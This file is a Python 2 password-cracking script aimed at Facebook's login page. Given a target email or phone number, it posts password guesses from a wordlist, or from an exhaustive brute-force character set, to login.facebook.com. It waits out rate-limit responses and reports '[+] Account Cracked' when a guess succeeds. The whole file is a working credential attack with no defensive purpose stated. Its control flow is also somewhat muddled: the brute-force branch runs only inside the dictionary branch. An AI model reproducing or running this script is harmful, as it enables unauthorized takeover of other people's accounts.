import urllib
import urllib2
import cookielib
import time
import argparse
from itertools import product

parser = argparse.ArgumentParser(description='inputs') #creates ArgumentParser object, will parse cli into python data types
parser.add_argument("-t", "--target", help="Target") #tells how to take strings on CLI and turn into objects
parser.add_argument("-d", "--dictionary", help="Dictionary") #
parser.add_argument("-b", "--brute", help="Brute Force")
args = parser.parse_args()

stop = False
print args.target
print __name__

if args.target:
    def login(tgt, passw):
        error = False
        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        login_data = urllib.urlencode({"email" : tgt, "pass" : passw})
        resp = opener.open("https://login.facebook.com/login.php", login_data)
        contents = resp.read()
        if '<div class="fsl fwb fcb">Cookies Required</div>' in contents:
            print '[*] Setting Cookies'
        print '[*] Attempting Password: ' + passw
        resp = opener.open("https://login.facebook.com/login.php", login_data)
        contents = resp.read()
        if "<p>The phone number you entered does not belong to any account.</p>" in contents or "<p>The email address you entered does not belong to any account.</p>" in contents:
            print "[!] Account does not exist"
            exit()
        if '<div class="fls fwb fcb">Please re-enter your password</div>' in contents:
            print "[-] Access Denied"
            error = True
        if '<div class="fsl fwb fcb">Cookies Required</div>' in contents:
            print "[!] Cookie Error"
            exit()
        if '<div class="fsl fwb fcb">Please try again later</div>' in contents:
            print "[-] Ammount of attempts exhaust - Reattempting in 1 minute"
            time.sleep(60)
            error = True
        elif error == True:
            pass
        else:
            print "[+] Account Cracked - Password: "+ passw
            exit()
    if args.dictionary and args.brute:
        print "The correct syntax is: python script.py -t <target> -d <dictionary attack/file> / -b <max> <brute force>"
    if args.dictionary:
        passwordfile = open(args.dictionary, "r")
        for line in passwordfile:
            login(args.target, line.strip())
        if args.brute:
            characters = "`1234567890-=qwertyuiop[]asdfghhjkl;'zxcvbnm,./\~!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:" + '"' + "ZXCVBNM<>?|"
            for length in range(1,int(args.brute)):
                to_attempt = product(characters, repeat = length)
                for attempt in to_attempt:
                    password = ("".join(attempt))
                    login(args.target, password)

if "__main__" == __name__:
    if stop == False:
        print __name__
        print "The correct syntax is: python script.py -t <target> -d <dictionary attack/file> / -b <max> <brute force>"